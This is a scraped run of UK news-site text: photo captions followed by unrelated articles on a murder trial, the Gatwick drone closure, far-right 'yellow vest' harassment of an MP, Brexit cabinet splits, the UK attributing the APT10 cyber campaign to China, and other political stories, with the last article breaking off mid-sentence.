13 November 2021 Richard Ratcliffe, the husband of detainee Nazanin Zaghari-Ratcliffe, is ending his hunger strike in central London after almost three weeks. Ratcliffe has spent 21 days camped outside the Foreign, Commonwealth and Development Office in London without food. He began his demonstration on 24 October after his wife lost her latest appeal in Iran, saying his family was caught in a dispute between two states PA UK news in pictures 12 November 2021 Peter Green protesting outside the Cop26 gates during the official final day of the Cop26 summit in Glasgow. PA UK news in pictures 11 November 2021 Seagulls fly around the statue entitled 'Tommy', a first World War soldier by artist Ray Lonsdale at dawn in Seaham, Britain Reuters UK news in pictures 10 November 2021 Climate activists dressed as characters inspired by the Netflix series Squid Game protest as they ask Samsung to go 100% renewable energy, outside the venue for COP26 in Glasgow Reuters UK news in pictures 9 November 2021 A deer statue silhouetted at Loch Faskally in Pitlochry, Scotland Reuters UK news in pictures 8 November 2021 Sunrise over St Mary's Lighthouse at Whitley Bay on the North East coast of England PA UK news in pictures 7 November 2021 Activists from Friends of the Earth during a demonstration calling for an end to all new oil and gas projects in the North Sea outside the UK Government's Cop26 hub during the Cop26 summit in Glasgow PA UK news in pictures 6 November 2021 Protesters take part in a rally organised by the Cop26 Coalition in Glasgow demanding global climate justice PA UK news in pictures 5 November 2021 Final touches are made to a life sized Sir David Attenborough cake surrounded by animals as part of a display created by a group of cake artists during Cake International at NEC Birmingham PA UK news in pictures 4 November 2021 A spectacular display of the Northern Lights seen over Derwentwater, near Keswick in the Lake District PA UK news in pictures 3 November 2021 Police and demonstrators at a Extinction Rebellion protest on Buchanan Street, during the Cop26 summit in Glasgow PA UK news in pictures 2 November 2021 A person walks along the Basingstoke canal near to Dogmersfield in Hampshire PA UK news in pictures 1 November 2021 Sir David Attenborough delivers a speech during Cop26 in Glasgow Reuters UK news in pictures 31 October 2021 Extinction Rebellion activists protest in Edinburgh as the Cop26 conference begins in Glasgow Getty UK news in pictures 30 October 2021 First Minister Nicola Sturgeon with Mapuche leader and Minga Indigena Lead Coordinator Claflin Lafkenche (right) alongside indigenous delegates at a ceremonial gathering at the Tramway in Glasgow in a symbolic gesture to mark a unified demand for climate justice PA UK news in pictures 29 October 2021 Ocean Rebellion put on a display of puking oil heads ahead of climate change conference COP26 in Glasgow EPA UK news in pictures 28 October 2021 A man dressed as Santa Claus outside Selfridges in London as the department store unveils its Christmas windows on Oxford Street PA UK news in pictures 27 October 2021 Boris Johnson and Rishi Sunak during a visit to Fourpure Brewery in Bermondsey, London, after the chancellor announced a cut to beer taxes in his budget PA UK news in pictures 26 October 2021 Activist Steve Bray demonstrates with a toilet outside the gates of Downing Street, after MPs voted in Parliament against the Environment Bill, allowing companies to pump raw sewage into UK rivers and seas, in London Reuters UK news in pictures 25 October 2021 Second World War veteran James White, 96, at the opening of the Edinburgh Garden of Remembrance, marking the start of the remembrance period PA UK news in pictures 24 October 2021 Richard Ratcliffe holds up a photo of his wife Nazanin Zaghari-Ratcliffe as he protests outside the Foreign Office while on hunger strike, part of an effort to lobby the UK foreign secretary to bring his wife home from detention in Iran Getty UK news in pictures 23 October 2021 Partner of WikiLeaks founder Julian Assange, Stella Morris and Editor in Chief of WikiLeaks Kristinn Hrafnsson attend a protest ahead of the appeal hearing over Assange's extradition, in London Reuters UK news in pictures 22 October 2021 Palace Gardener Justine Howlett adds the finishing touches to pumpkins bearing the face of Henry VIII and his wives, at Hampton Court Palace. PA UK news in pictures 21 October 2021 Flooded fields near Lingfield in Surrey, after southern England was hit overnight by heavy rain and strong winds from Storm Aurore moving in from France PA UK news in pictures 20 October 2021 A wing surfer enjoys the strong winds as they surf in the sea off of Hayling Island in Hampshire PA UK news in pictures 19 October 2021 Actor Jude Law holds hands with Little Amal, a 3.5-metre-tall puppet of a nine-year-old Syrian girl, as it arrives in Folkestone, Kent, as part of the Handspring Puppet Company's 'The Walk' PA UK news in pictures 18 October 2021 A view over Southend-on-Sea in Essex, which is set to become a city in tribute to Sir David Amess MP, who spent years campaigning for the change Getty UK news in pictures 17 October 2021 Members of the Essex Bangladeshi Welfare Association pay their respects by floral tributes laid at the scene where Sir David Amess MP was killed at Belfairs Methodist Church, in Leigh-on-Sea Reuters UK news in pictures 16 October 2021 Boris Johnson, Sir Keir Starmer, Priti Patel and Lindsay Hoyle pay respects to Sir David Amess at Belfairs Methodist Church, in Leigh-on-Sea, the site of his death EPA UK news in pictures 15 October 2021 A person lays flowers at the scene near the Belfairs Methodist Church in Eastwood Road North, Leigh-on-Sea, Essex, where Conservative MP Sir David Amess has died after he was stabbed several times at a constituency surgery. A man has been arrested and officers are not looking for anyone else PA UK news in pictures 14 October 2021 A red deer stag during rutting season in Bushy Park, Richmond, south west London, which is home to over 300 red and fallow deer PA UK news in pictures 13 October 2021 Police officers detain a man as Insulate Britain activists block a roundabout at a junction on the M25 motorway during a protest in Thurrock Reuters UK news in pictures 12 October 2021 The aerial climate installation by Swiss artivist Dan Acher 'We Are Watching' is unveiled at Our Dynamic Earth in Edinburgh PA UK news in pictures 10 October 2021 A young girl is helped by a Border Force officer as a group of people thought to be migrants are brought in to Dover, Kent, following a small boat incident in the Channel. PA UK news in pictures 9 October 2021 People walk past a life-size sculpture of British singer John Lennon entitled "Imagine", by sculptor Lawrence Holofcener, displayed to mark what would have been the 81st birthday for the former member of the Beatles in Carnaby Street Reuters UK news in pictures 8 October 2021 WW II veteran, 96-year-old Lorna Cockayne, who served in the Women's Royal Naval Service (WRNS), popularly and officially known as the Wrens, as a Bletchley Park codebreaker, poses for a photograph with the Legion d'honneur after receiving it during a ceremony at the Pear at Parley in Ferndown, Bournemouth PA UK news in pictures 7 October 2021 British comedian Jo Brand poses with cut-out silhouettes representing women outside the Metropolitan Police headquarters New Scotland Yard, to highlight violence against women by male police officers or former police officers AFP via Getty UK news in pictures 6 October 2021 A protester, wearing a mask of Johnson, holds a sign reading Question it all on the final day of the Tory conference Getty UK news in pictures 5 October 2021 Members of Insulate Britain outside the Royal Courts of Justice in London, before a hearing over the injunction banning the environmental activists from blocking the M25 PA However, when he gave evidence in court, he admitted striking her, but claimed he acted in self-defence after she began to strangle him in a sex game gone wrong. He also admitted a red mist may have come over him during the incident. But, prosecutor Christopher Tehrani described his testimony as nonsense and a pack of lies, telling the court Naseem had carried out the attack relentlessly with savage consequences. He said Naseem had stayed in the flat for 12 hours following her death drinking, taking drugs and sending pornographic pictures and videos to other escorts. Christina Abbotts was found bludgeoned to death inside a friends flat (Sussex Police) Naseem told police he did not call for help when he realised she was dead because he couldnt see anything positive coming out of the situation. He could not explain how the pestle coupled with a mortar bowl later found in the flats kitchen by officers came to be in the bedroom. The father-of-two, of Amersham, Buckinghamshire, told the court he turned to escorts when the whirlwind romance with his partner fizzled out, spending the best part of a decade drinking on a near-daily basis, hiring sex workers and taking cocaine. Naseem is due to be sentenced on Friday by judge Christine Laing. Additional reporting by PA Dozens of flights have been diverted after Gatwick Airports runway was closed because of reports of two drones flying close to the airfield. More than 4,000 passengers have landed at other airports from Stansted to Manchester . As a result of planes and flight crew being in the wrong place, the first wave of departures from Gatwick on Thursday morning has been jeopardised. The runway was closed at 9.03pm, at a time when many short-haul planes converge on the Sussex airport on their final flights of the day. An airport spokesperson said: Following reports of two drones flying over the Gatwick Airport airfield, we have had to suspend flights while this is investigated. We apologise to any affected passengers for this inconvenience but the safety of our passengers and staff is our foremost priority. British Airways and easyJet, the largest airlines at Gatwick, were worst affected. BA diverted some flights, including those from Barcelona and Glasgow, to Heathrow. Services from Seville and Nice went to Stansted. The easyJet flight from the Isle of Man landed in Manchester, while a service from Catania diverted to Stansted airport. A Thomas Cook flight from Enfidha in Tunisia is at Birmingham Airport, as is the Norwegian Air arrival from Tromso. Most airlines are being held on the ground with passengers on board so that they can fly to Gatwick in order to begin operations on Thursday on schedule. Passengers on some diverted easyJet flights are being told: We plan to refuel and continue your flight. Your crew will be keeping you up to date on the situation. Gatwick Airport was briefly closed because of drone activity in 2017, with five flights diverted. Tonights disruption is much more serious. Support free-thinking journalism and attend Independent events The British Airline Pilots Association (BALPA) has been calling for a much bigger exclusion zone for drones around airports. The union also wants drones to be registered and their operators tested. BALPAs head of flight safety, Dr Rob Hunter said: Even two kilograms of metal and plastic, including the battery, hitting an aircraft windscreen or engine or a helicopter tail rotor, could be catastrophic. People who buy these devices need to make sure that they know the rules and stick to them, so they dont put anyones life in danger. Passengers stranded as a result of the diversions are entitled to accommodation and meals, but not to cash compensation since the cause was beyond the airlines control. Several passengers reported the diversions and long waits for take-off on social media. Twitter user Seun Olayanju posted: AerLingus currently stuck at Gatwick waiting for the heavily delayed E10249 to Dublin. Please can you confirm if the flight will run tonight? Honor Ireland wrote: Landed at Stansted when we should be at Gatwick Airport due to a supposed drone sighting car is at Gatwick, fantastic! John Belo said: Plane should have departed an hour ago from Gatwick Airport captain confirmed there are reports of a drone in the area ... still waiting. Passengers using Gatwick Airport on Wednesday night and Thursday morning were left stranded, furious and confused, after the airport closed its runway due to drones seen flying over the airfield. The runway was first closed at 9.03pm on Wednesday after initial reports of two drones near the airfield. Gatwick reopened for just 44 minutes at 3.01am on Thursday before closing again at 3.45am, following a further drone sighting. "There were so many people and so little staff and minimal information," Jeremy Taylor told The Independent. The 38-year-old was booked to fly out on a "trip of a lifetime" to visit his friend in Mexico. Passengers at Gatwick on Thursday morning (Rich McHardy) He boarded his Norweigian Air flight to Buenos Aires on Wednesday evening. The plane was scheduled to take off just after 9pm but remained "on the tarmac" for six hours, as staff scrambled to cope with the disruption. "They had one man on the ground trying to give us information, but with 400-odd people that was proving difficult," Mr Taylor said. "I did feel bad for him in that he had been sent out on his own." Around 10,000 people are estimated to have been affected, with 2,000 unable to fly because of the closure. Passengers on a flight to Gatwick are diverted to Birmingham airport (Christopher Lister) The history teacher waited for a further two hours at Gatwick but found himself unable to reschedule his flight or check into a hotel. He eventually went to stay with friends in Brighton. Other passengers shared Mr Taylor's frustration at the lack of information available. Christopher Lister was flying back to the UK from Ukraine, following a holiday with his wife in Bangkok. "We were on holiday in Thailand and came back via Kiev," he told The Independent. "It was just supposed to be a three hour flight from Ukraine but when we came into land on Wednesday night the plane started circling." Passengers at Gatwick on Thursday morning (Ian Jackson) Mr Lister said the Ukraine International Airlines pilot suddenly announced that the plane was flying to Birmingham airport instead. No explanation was given and passengers began searching the internet for the cause of the diversion. Once at Birmingham the travellers were told that they would fly back to Gatwick at 3.30am. "We got to know at around 4am that the airport was still closed," Mr Lister said. "We got off the plane at around 6am. At that point we had been on it for about 12 hours." "The airline could have done a better job. They didn't really have much information. Passengers at Gatwick on Thursday morning (Rich McHardy) "A mother in front of us had a baby and had run out of milk. And there were lots of people on the plane who didn't speak much English and were quite disorientated." Mr Lister said that Ukraine International Airlines had paid for taxis for the stranded passengers to travel elsewhere. "I have a high-end drone and I think it's one of two things. Either a kid is flying a cheap drone that went too far or it's something a bit more sinister." "But Gatwick seem to have handled it well," he added. On Thursday morning the airport issued a statement asking passengers to check the status of their flights before travelling to Gatwick. "Unfortunately, there are significant delays and cancellations to all flights today," a spokesperson said. "We apologise to everyone affected, but the safety of all our passengers and staff is our no.1 priority." Support free-thinking journalism and attend Independent events Many passengers took to Twitter and Facebook to share images taken overnight of weary travellers and crowds at the airport. "When I arrived at the airport at 5am the queues were stretching out the door and people were understandably looking frustrated," said Ian Jackson. "I accepted a refund. All in all it's a mess." Mr Jackson was meant to be travelling on an easyJet flight to Gibraltar. "It's not a good day to be flying from Gatwick," he said. There have been reports of drones nearly hitting commercial airliners near London in recent years, amid increasing concern about drones near airports. A group of far-right Brexiteers calling themselves the yellow vests have been condemned for surrounding a pro-Remain MP and calling her a traitor. The group filmed themselves harassing Anna Soubry in their latest stunt, which followed days of roving protests around Westminster and central London. Starting on 14 December, the self-named yellow vests have blocked bridges over the River Thames, roads, entrances to Parliament and government buildings. The group was condemned for blocking an ambulance on Westminster Bridge on its first day of demonstrations, although it was let through shortly afterwards. Live Facebook broadcasts have shown the yellow vests shouting verbal abuse through a megaphone at pro-Remain protesters and journalists broadcasting from outside the Palace of Westminster, with Skys Kay Burley singled out as a particular target. On Wednesday, supporters in Durham blocked a Bollocks to Brexit bus and called those on board Nazi scum and traitors. Meanwhile in London, leader James Goddard told Ms Soubry she was a traitor the same term used by neo-Nazis to describe the murdered Labour MP Jo Cox. Ms Soubry was flanked by police officers who told the protesters, who have appropriated the high-visibility yellow vests worn in demonstrations that turned violent in France, to move back. While repeatedly getting her name wrong, Mr Goddard filmed himself calling the MP a disgrace to the country for her vigorous campaigning for a People's Vote and to Remain in the EU. James Goddard in the 'yellow vest' worn for protests in Westminster (Twitter) You are a traitor, you are a traitor to this country. You are on the side of Adolf Hitler, he said. Writing on Twitter after the incident, Ms Soubry called Mr Goddard a large and aggressive man and said she has previously received death threats. She noted that other MPs and journalists had been been intimidated and abused by a small far-right group who roam around Parliament. Mr Goddard has been unapologetic, writing on Twitter that Ms Soubry "deserved everything she got". Ms Soubry had been on her way to conduct a Sky interview on misogyny towards female politicians at the time. MPs from all sides rallied round Ms Soubry to condemn the abuse, with Labours David Lammy saying the nasty, aggressive behaviour was reprehensible. Fellow Labour MP Diana Johnson said: This is truly awful and whatever your view on Brexit, there is absolutely no excuse for this type of intimidation and thuggery. Calling an MP a traitor for holding a different view is unacceptable. This is dangerous and needs to be called out and stopped. Conservative MP Heidi Allen said: I dont care how you voted in the referendum, but this is intimidation and harassment is completely unacceptable. What have we become? Mr Goddards Facebook account has been suspended several times over his activity but he continues to plan further yellow vest protests on social media. A Tommy Robinson supporter who has spoken at the English Defence League (EDL) founders rallies and attended numerous far-right marches, Mr Goddard attempts to crowdfund his activities on PayPal. Also a vocal supporter of Donald Trump, he has previously called Islam a political ideology that advocates your death and claimed terror attacks are being covered up in Britain. "Brexit betrayal" march in London Show all 43 1 /43 "Brexit betrayal" march in London "Brexit betrayal" march in London A protester holds an anti-BBC sign Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit demonstrator holds a sign in the picket line Angela Christofilou/The Independent "Brexit betrayal" march in London A protester carrying a noose at the "Brexit betrayal" march. The man carrying it told a reporter: "That's what the traitor May deserves." AP "Brexit betrayal" march in London Pro-brexit supporters hold a sign opposed to Nigel Farage Angela Christofilou/The Independent "Brexit betrayal" march in London Protesters carry a defaced British flag on the march Angela Christofilou/The Independent "Brexit betrayal" march in London Tommy Robinson addresses a rally after taking part in a Brexit 'betrayal' march in central London PA "Brexit betrayal" march in London Police officers attempts to keep rival protesters from clashing at the Brexit 'betrayal' march in London Victoria Jones/PA "Brexit betrayal" march in London A protester holds an anti-Theresa May sign Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit demonstrator and his dog Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit demonstrator at the protest Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit sign at the rally Angela Christofilou/The Independent "Brexit betrayal" march in London Pro-brexit demonstrators endorse UKIP Angela Christofilou/The Independent "Brexit betrayal" march in London A Brexit 'betrayal' march protester wearing a Make Britain Great Again hat in London on 9 December 2018 Chris J Ratcliffe/Getty "Brexit betrayal" march in London Brexit 'betrayal' marchers gathering on Park Lane ahead of a protest Angela Christofilou/ The Independent "Brexit betrayal" march in London The "Brexit Betrayal" march passes through Central London Angela Christofilou/The Independent "Brexit betrayal" march in London Tommy Robinson tells protesters to join Ukip via their mobile phones on stage next to leader Gerard Batten (right) at the Brexit 'betrayal' march Gareth Fuller/PA "Brexit betrayal" march in London A protester speaks thorugh a megaphone on the march Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit demonstrator walks in the picket line Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit anti-May sign at the rally Angela Christofilou/The Independent "Brexit betrayal" march in London A protester carries a Union Jack on the march Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit demonstrator wrapped in the Union Jack Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit anti-May sign at the rally Angela Christofilou/The Independent "Brexit betrayal" march in London Pro brexit demonstrators move through Central London Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit demonstrator marches with sign Angela Christofilou/The Independent "Brexit betrayal" march in London A pro-brexit demonstrator holds a rude sign in the rally Angela Christofilou/The Independent "Brexit betrayal" march in London The march passes down Victoria Street near Parliament Angela Christofilou/The Independent "Brexit betrayal" march in London A festive protester marches near Parliament Angela Christofilou/The Independent "Brexit betrayal" march in London A protester holds a mock noose as the march passes down Victoria Street towards Parliament Angela Christofilou/The Independent "Brexit betrayal" march in London A protester wrapped in the Union Jack marches down Victoria Street towards Parliament Angela Christofilou/The Independent "Brexit betrayal" march in London A protester makes some noise on the march Angela Christofilou/The Independent "Brexit betrayal" march in London A protester dressed as a dinosaur holds a sign rallying against "Davocracy" - in reference to the annual World Economic Forum meeting in Davos Angela Christofilou/The Independent "Brexit betrayal" march in London A protester holds a pro-brexit sign on the march Angela Christofilou/The Independent "Brexit betrayal" march in London The march approaches parliament Angela Christofilou/The Independent "Brexit betrayal" march in London A protester distributes pro-brexit lapel badges Angela Christofilou/The Independent "Brexit betrayal" march in London A demonstrator wears an anti-EU poster and holds an anti-BBC sign Angela Christofilou/The Independent "Brexit betrayal" march in London A smoke bomb is deployed in Parliament Square as the march comes across the counter-demonstration Angela Christofilou/The Independent "Brexit betrayal" march in London Angela Christofilou/The Independent "Brexit betrayal" march in London A flag bearing the Arms of Plantagenet flies in theprot Angela Christofilou/The Independent "Brexit betrayal" march in London Protesters on the Brexit 'betrayal' march in London on 9 December 2018 Angela Christofilou/ The Independent "Brexit betrayal" march in London Protesters on the Brexit 'betrayal' march in London on 9 December 2018 Angela Christofilou/ The Independent "Brexit betrayal" march in London Brexit 'betrayal' marchers gathering on Park Lane ahead of a protest on 9 December 2018 Angela Christofilou/ The Independent "Brexit betrayal" march in London Brexit 'betrayal' marchers gathering on Park Lane ahead of a protest on 9 December 2018 Angela Christofilou/ The Independent "Brexit betrayal" march in London Angela Christofilou/The Independent Another prominent member of the yellow vests is former soldier Tim Scott, who once led the UK branch of anti-Islam German group Pegida. The group, co-founded by Robinson and failed Ukip leadership candidate Anne Marie Waters, failed to gain traction and Mr Scott resigned following an embarrassing TV interview in 2015. It was labelled a car-crash after Mr Scott struggled elaborate on what he branded the truth about radical Islam in the UK. Other yellow vest protesters include David Coppin of Margate, an EDL supporter who has attended numerous far-right rallies across the UK including a White Lives Matter march. Recommended UK Pegida leader struggles to explain why radical Islam is a threat Also among them are two men allegedly involved in an attack on the Bookmarks socialist bookshop in London in August. Mark Martin aka Buska in the Park and a young man called Max, who is known as Red Cap Boy, are both avid supporters of Mr Trump. Tracy Blackwell, whose son was one of three teenagers killed by a drunk driver in Hayes earlier this year, has also been protesting with the yellow vests. She has called the fatal crash a terror attack and accused police of covering up evidence, starting the "justice for our boys" campaign. The group claim the government has betrayed the Leave vote and are calling for a no-deal Brexit. Several members are also conspiracy theorists who claim "they" are blocking phone signal to stop coverage of "yellow vest" protests. The far right is desperately trying to weaponise Brexit and this effort is coalescing around figures like Stephen Lennon and Gerard Batten and those, such as cowardly thugs like James Goddard, who lap up their diet of hate and blame," a spokesperson for Hope Not Hate said. With the country and politicians divided, these characters are like sharks sniffing blood, picking on the most vulnerable targets, like women, as part of their disgusting worldview." Metropolitan Police officers have intervened in several of their demonstrations and moved protesters out of roads, but have not yet made any arrests. Deep Brexit divisions within Theresa Mays cabinet have been exposed after senior ministers clashed over how to break the parliamentary deadlock. Amber Rudd broke ranks on Wednesday by saying a fresh referendum was a plausible option if MPs fail to agree a way forward before the EU withdrawal date in March. However Commons leader Andrea Leadsom, a Brexiteer, hit back at her cabinet colleague, saying a second referendum would be unacceptable. The row comes as the prime minister faces near-certain defeat in a parliamentary vote on her Brexit deal next month, which was shelved at the last minute due to fierce opposition from Tory backbenchers. Ms Rudd, the work and pensions secretary, floated the idea of a Final Say vote on ITVs Peston, saying: I dont want a peoples vote, or a referendum in general, but if parliament absolutely failed to reach a consensus I could see there would be a plausible argument for it. She added: Parliament has to reach a majority on how its going to leave the European Union. If it fails to do so, then I can see the argument for taking it back to the people again, much as it would distress many of my colleagues. Her intervention was hailed as a massive moment by Peoples Vote campaigners, with Tory former minister Anna Soubry describing it as brave and principled. Support free-thinking journalism and attend Independent events However Ms Leadsom dismissed Ms Rudds comments outright. The Commons leader told the BBCs Today programme: Its not government policy. I myself think it would undermine the biggest democratic exercise ever, where we had a clear majority to leave the European Union. To have a second referendum would unfortunately be going back to people and telling them they have got it wrong and they needed to try again. I think it would be unacceptable. Ms Leadsom confirmed she had been considering plans for a no-deal Brexit, which is the default position if parliament cannot come to some kind of agreement. She said she was looking at a managed no-deal, which some Brexiteers favour, as an alternative solution if the prime ministers deal is voted down. A managed no-deal does not necessarily mean there is no withdrawal agreement at all, Ms Leadsom said. Newspapers react to Theresa May pulling the vote on her Brexit deal Show all 11 1 /11 Newspapers react to Theresa May pulling the vote on her Brexit deal Newspapers react to Theresa May pulling the vote on her Brexit deal The Independent Newspapers react to Theresa May pulling the vote on her Brexit deal The Daily Mirror Newspapers react to Theresa May pulling the vote on her Brexit deal The Times Newspapers react to Theresa May pulling the vote on her Brexit deal The Daily Express Newspapers react to Theresa May pulling the vote on her Brexit deal The Financial Times Newspapers react to Theresa May pulling the vote on her Brexit deal The Daily Telegraph Newspapers react to Theresa May pulling the vote on her Brexit deal The i Newspapers react to Theresa May pulling the vote on her Brexit deal The Guardian Newspapers react to Theresa May pulling the vote on her Brexit deal The Scotsman Newspapers react to Theresa May pulling the vote on her Brexit deal The Daily Mail Newspapers react to Theresa May pulling the vote on her Brexit deal The Metro This is all speculation, but what I am looking at is trying to find an alternative that, in the event we cannot agree to this deal, that there could be a further deal that looks at a more minimalist approach that allows us to leave with some kind of deal and some kind of implementation period that avoids a cliff edge, that avoids uncertainty for businesses and travellers and so on. Ms May was due to meet her Polish counterpart Mateusz Morawiecki for talks in London today, as she desperately seeks further reassurances from EU leaders about the controversial backstop plan before the crunch Commons vote in January. With the country in the midst of a political crisis, even some MPs have wondered if they should sit through the Christmas break to sort Brexit out. It is in the governments gift to decide the recess dates of parliament, when the chambers break up and when they return to sit. But generally there is a set number of recesses during a year in the summer, for Christmas, Easter, half terms and during the political party conference season. Britain and its western allies have accused the Chinese government of carrying out an extensive campaign of industrial espionage through cyberwarfare. A group known as APT 10, it is claimed, is acting on behalf of the Chinese Ministry of State Security to carry out a malicious offensive targeting intellectual property and sensitive commercial data in Europe, Asia and the US. The British government said that the Chinese security establishment is not upholding the commitments Beijing made directly to the UK in a 2015 bilateral agreement. It is also inconsistent, it says, with G20 commitments that no country should conduct or support information and communications technology-enabled theft of intellectual property, including trade secrets or other confidential business information. The National Cyber Security Centre assesses with the highest level of probability that the group widely known as APT 10 is responsible for this sustained cyber campaign focused on large-scale service providers. The group almost certainly continues to target a range of global companies, seeking to gain access to commercial secrets. This is the first time that the UK government has publicly named elements of the Chinese government as being responsible for a cyber campaign. It has previously attributed the WannaCry ransomware incident to North Korean actors; a multi-year computer network exploitation campaign targeting universities around the world, including the UK, to the Mabna Institute based in Iran; and a series of attacks including NotPetya, the Wada hack and leak and BadRabbit to the GRU (Russian military intelligence). Foreign secretary Jeremy Hunt said: This campaign is one of the most significant and widespread cyber intrusions against the UK and allies uncovered to date, targeting trade secrets and economies around the world. European Commission vice-president Valdis Dombrovskis says EU taking alleged hacking 'extremely seriously' These activities must stop. They go against the commitments made to the UK in 2015, and, as part of the G20, not to conduct or support cyber-enabled theft of intellectual property or trade secrets. Our message to governments prepared to enable these activities is clear: together with our allies, we will expose your actions and take other necessary steps to ensure the rule of law is upheld. A former Labour minister being investigated over allegations of sexual harassment has quit the party, with an attack on Jeremy Corbyn. Ivan Lewis hit out at the Labour leader's handling of the antisemitism scandal that has dogged him and at the way the disciplinary process had been handled. But Labour defended the process and a source said Mr Lewis' resignation meant the complainant in the case had been denied a hearing. His departure brings to five the number of Labour MPs who have quit, or have been sacked, since last years general election, with a further one still suspended. Mr Lewis, who has been suspended from Labour for more than a year, used his resignation letter to Mr Corbyn to criticise both his leader and his key aide Seumas Milne. Recommended Labour MP found guilty of lying to police over speeding charge The Bury South MP said: It is for others to decide whether you are anti-Semitic, but what is absolutely clear is that you and Seumas Milne do not believe in the right of the Jewish people to self-determination in their own state. This is different to your view on the right to self-determination for every other minority community. Mr Lewis, a former foreign office minister, said Mr Corbyn was unwilling to condemn those whose hatred of Israel becomes Jew hatred, this is incompatible with being a lifelong campaigner against racism. The Labour leader had an anti-western world view and it is no wonder that so many British people are uncomfortable at the prospect of you becoming prime minister, he added. Mr Lewis said he would continue to sit as an independent in the House of Commons, rather than resign his seat. A Labour source said: Ivan was under investigation for alleged sexual harassment. His resignation means the complainants have been denied a hearing. Protests against Labour antisemitism Show all 14 1 /14 Protests against Labour antisemitism Protests against Labour antisemitism Protesters clashed during the demonstration Reuters Protests against Labour antisemitism Members of the Jewish community hold a protest against Labour party leader Jeremy Corbyn and antisemitism in the Labour Party AFP/Getty Protests against Labour antisemitism Protesters hold placards and flags during a demonstration, organised by the British Board of Jewish Deputies for those who oppose antisemitism, in Parliament Square Reuters Protests against Labour antisemitism Hundreds of people gathered in Parliament Square to protest against antisemitism in the Labour Party EPA Protests against Labour antisemitism Labour MP Luciana Berger speaks during the protest PA Protests against Labour antisemitism A protester blows through a shofar during the demonstration Getty Protests against Labour antisemitism Members of London's Jewish community protest in support of Labour leader Jeremy Corbyn outside parliament EPA Protests against Labour antisemitism Labour MP John Mann speaks during a protest against antisemitism PA Protests against Labour antisemitism People protest against antisemitism in the Labour Party as Jewish community leaders have launched a scathing attack on Jeremy Corbyn, claiming he has sided with antisemites again and again PA Protests against Labour antisemitism Labour politicians Stella Creasy and Chuka Umunna leave after attending the demonstration Getty Protests against Labour antisemitism A pro-Jeremy Corbyn protester holds a placard during a counter-protest Getty Protests against Labour antisemitism A support of the Labour Party hold up a placard during the demonstration Reuters Protests against Labour antisemitism Jeremy Corbyn supporters during the demo Reuters Protests against Labour antisemitism A protester holds up a sign reading For the many, not the Jew AFP His suspension followed a BuzzFeed News report that a woman alleged Mr Lewis had touched her leg and invited her to his house when she was 19 at a Labour Party event in 2010. A Labour party spokesperson said: Jeremy Corbyn thanks Ivan for his service to the Labour party. The Labour Party takes all complaints of sexual harassment extremely seriously, which are fully investigated in line with our rules and procedures and appropriate disciplinary action taken. This case was referred to a full hearing of Labours national constitutional committee. The process is the same for everyone. Close Rose McGowan: 'everybody knew' in Hollywood of Harvey Weinstein allegations Harvey Weinstein is in court in New York as a judge decides on the future of his sexual assault case. Judge James Burke is expected to decide whether to drop some or all of the charges against Weinstein, schedule a trial or throw out the indictment against the file producer, allowing prosecutors to file a new one. Weinstein has denied all charges against him. A recent flurry of court papers from Weinstein's lawyers say the case has devolved into chaos, but prosecutors say there is ample evidence to move forward to trial. Follow updates in our liveblog below Please allow a moment for the liveblog to load Brazils incoming president Jair Bolsonaro has declared that migrants have left some parts of France unliveable in a Facebook livestream broadcast on Tuesday night. The far-right politician, who takes office on 1 January, made the comments while announcing that he would withdraw Brazil from the UNs Global Pact for Safe, Orderly and Regular Migration. Aloysio Nunes, Brazils current minister for foreign affairs, signed the pact last week. Mr Bolsonaro pointed at recent violence during anti-government protests in France to justify withdrawing from the deal. Everybody knows what is happening in France, he said. You know how those people are, right? Brazil election: far-right candidate Jair Bolsonaro wins Presidency Show all 8 1 /8 Brazil election: far-right candidate Jair Bolsonaro wins Presidency Brazil election: far-right candidate Jair Bolsonaro wins Presidency A man holds an inflatable figure of jailed former president Luiz Inacio Lula da Silva as supporters of far-right presidential candidate Jair Bolsonaro celebrate in front of the National Congress in Brasilia, after the former army captain won Brazil's presidential election AFP/Getty Brazil election: far-right candidate Jair Bolsonaro wins Presidency Supporters of the left-wing presidential candidate for the Workers Party (PT), Fernando Haddad, react in Rio AFP/Getty Brazil election: far-right candidate Jair Bolsonaro wins Presidency Police officers patrol the streets during a gathering of supporters of the left-wing presidential candidate for the Workers Party AFP/Getty Brazil election: far-right candidate Jair Bolsonaro wins Presidency Fernando Haddad, presidential candidate of Brazil's leftist Workers Party (PT), is kissed by his wife Ana Estela Haddad Reuters Brazil election: far-right candidate Jair Bolsonaro wins Presidency EPA Brazil election: far-right candidate Jair Bolsonaro wins Presidency AFP/Getty Images Brazil election: far-right candidate Jair Bolsonaro wins Presidency AFP/Getty Images Brazil election: far-right candidate Jair Bolsonaro wins Presidency REUTERS They have something in them, they dont give up their roots and they want to promote their culture, their acquired rights and privileges. France is suffering because of that. Paris has endured five consecutive weekends of unrest, driven by dissatisfaction with President Emmanuel Macrons leadership. Polls show that a majority of French people support the protests. We do not want this for Brazil, Mr Bolsonaro said. It has to be rigorous criteria to enter Brazil. Gerard Araud, the French ambassador to the US, responded to Mr Bolsonaros remarks on Twitter. 63,880 homicides in Brazil, 825 in France, he wrote. No comment. Support free-thinking journalism and attend Independent events If Mr Bolsonaro follows through on his promise to pull Brazil out of the UN pact when he takes office, he will follow countries such as the US, Hungary and Austria in backing out of the deal. The non-binding pact is aimed at making migration safer and addresses issues such as protecting people who migrate and helping them to integrate in new countries. Mr Bolsonaro won the presidential election in October and capitalised on public anger at corruption in Brazilian politics. The controversial politician has threatened to jail his opponents and defended the use of torture. He has also hinted that he will pull Brazil out of the Paris climate deal. In the Facebook Live video, the far-right figure also vowed to target the governments of Venezuela and Cuba in the future. Mr Bolsonaro said that he would use all action within the rule of law and democracy to oppose the two administrations. The Trump administration announced Wednesday that it intends to lift sanctions against the business empire of Oleg Deripaska, one of Russias most influential oligarchs, after an aggressive lobbying campaign by Mr Deripaskas companies. The Treasury Departments decision, which had been postponed for months, was both politically and economically sensitive, and drew criticism from some Democrats and foreign policy analysts that the administration was sending the wrong signal to Moscow about its conduct towards the 